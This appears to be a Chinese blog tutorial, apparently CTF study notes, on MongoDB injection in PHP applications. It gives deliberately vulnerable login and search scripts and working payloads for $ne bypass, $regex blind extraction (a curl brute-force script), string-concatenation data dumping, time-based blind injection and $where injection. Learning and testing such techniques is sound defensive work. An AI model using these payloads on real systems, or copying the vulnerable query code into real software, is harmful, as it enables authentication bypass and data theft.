MongoDB注入

admin 2024年8月18日01:02:54评论7 views字数 5009阅读16分41秒阅读模式

之前做比赛题经常会遇到mongodb注入,每次都一知半解一脸懵逼,总结一下

MongoDB概括

记下增删改查(php5)

直接调用类方法
1
2
3
4
5
6
7
$mongodb = new mongoclient();  //建立连接
$db = $mongodb->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //减
$coll->update(); //改
execute方法
1
2
3
4
5
6
7
$monggdb = new mongoclient();  //建立连接
$db = $monggdb->myinfo; //选择数据库
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.find({'newsid':1})"; //查
$query = "db.table.remove({'newsid':1})"; //删
$query = "db.table.update({'newsid':1},{'newsid',2})"; //改
$result = $db->execute($query); //执行

在php7中的利用会很麻烦,很多函数都不一样了,还有很多坑,所以还是建议php5写
php7

1
2
3
$mongo = new MongoDB\Driver\Manager();
$result = $mongo->executeQuery('db.collection', new MongoDB\Driver\Query(['uid'=>$id], []), new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED));
// 返回的$result是一个对象,需要手动转换成数组。

攻击

基本操作

在学习注入之前,先要学一下MongoDB的逻辑操作符

1
2
3
4
5
6
7
8
9
10
gt 大于 {"field": {$gt: value}}
lt 小于 {"field": {$lt: value}}
gte 大于等于 {"field": {$gte: value}}
lte 小于等于 {"filed": {$lte: value}}
ne 不等于 {"member.age": {$ne: "nine"}}
exists 是否存在 {"array.0" {$exists: 1}} #数组中是否存在第一条数据
or 或者 {"$or": [{"member.age": "3"},{"member.name": "h4ck3r"}]}
and 并且 {"$and": [{"member.age": "3"},{"member.name": "h4ck3r"}]}
regex 正则 ({"name": {"$regex": "^a$"}})
size 个数 ({"name": {"$size": 3}}) #$size name元素个数为3
数组绑定时注入
$ne注入

先去扒一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$mongo = new mongoclient("mongodb://127.0.0.1");
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>

可以看到,这个脚本会将输入的username和password扔去数据库找,如果有,就全部显示出来
正常我们查询是

1
username=xiaorouji&password=123456

这个时候后台的查询语句是

1
db.test.find({username:'xiaorouji',password:'123456'})

但是,如果我们输入的语句是

1
username[$ne]=xiaorouji&password[$ne]=123456

这样子,后台语句就会变成

1
db.test.find({username:{'$ne':'xiaorouji'},password:{'$ne':'123456'}})

这样就能获得后台除了xiaorouji这个账号的其他全部账号的信息了

$regex注入

正则注入跟布尔盲注差不多,也是当页面只返回true或者false的时候,让他去一个个匹配,最终拿到值
给一题hctf的题目,后台大致代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
$data = array(
'lock'=>$lock);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'the lock is right,but wrong key';
}else{
echo 'lock is wrong';
}
}else{
if ($lock == 'xxxxxxxx'&&$key=='xxxxxxxxx') {
echo 'Your flag is xxxxxxx';
}else{
echo 'lock is wrong';
}
}
?>

可以看到只有正确和错误的两种回显,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i=0; $i <10 ; $i++) {
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 319) {
$str.=$ori[$j];
echo $str."\r\n";
break;
}
}
}
?>

在数据库中的执行语句是

1
db.test.find({lock:{'$regex':'^a'}});
拼接字符串注入

这种注入跟sql里面最基本的回显注入类似,举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>

首先我们先尝试一下

1
username=123'&password=123

这样我们首先会收到报错,因为单引号没有闭合,接下来尝试一个闭合语句
这里有个坑点就是高版本的MongoDB好像不支持注释符,所以直接拿注释符注释后面实际上是不行的

1
username=test'});return ({username:1,password:2});var foo = ({'foo':'&password=123

这样子后台还是可以返回一个数据,也就刚好能绕过前面的限制,获得特定的信息
爆mongodb版本

1
username=test'});return ({username:version(),password:2});var foo = ({'foo':'

爆当前数据库

1
username=test'}); return ({username:toJson(db),password:2});var foo = ({'foo':'

爆所有表

1
username=test'}); return ({username:toJson(db.getCollectionNames()),password:2}); var foo = ({'1&password=123

查看文档
db.collection.find()这个函数在无参的时候会返回集合中的所有文档以及里面的所有字段

1
2
3
username=test'}); return ({username:toJson(db.test.find()),password:2}); ({foo:'123&password=123
#查看单条信息
username=test'}); return ({username:toJson(db.test.find()[1]),password:2}); ({foo:'123&password=123

当然这中间还可以有更多的语句操作,不一一列举了

时间盲注

跟sql的时间盲注原理相似,放个payload

1
username=test'}); if (db.version()>"0"){sleep(10000);exit;} var b=({a:'1&password=123

这样就能成功延时了

$where注入

MongoDB里面的$where跟sql的where很相似,都是加入限制条件进行查询。但是MongoDB里面的$where操作符常常会引入一个js函数作为 限制条件来造成注入
后台代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->news; //选择集合
$news = $_GET['news'];
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}
?>

上面这个代码如果我们输入news=test'%26%26'1'='1会返回正常页面,然后输入news=test'%26%26'1'='2会返回异常页面,那么我们就可以尝试一下进行注入了
爆数据表名

1
news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1

FROM:Xi4or0uji

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日01:02:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MongoDB注入https://cn-sec.com/archives/3074781.html

发表评论

匿名网友 填写信息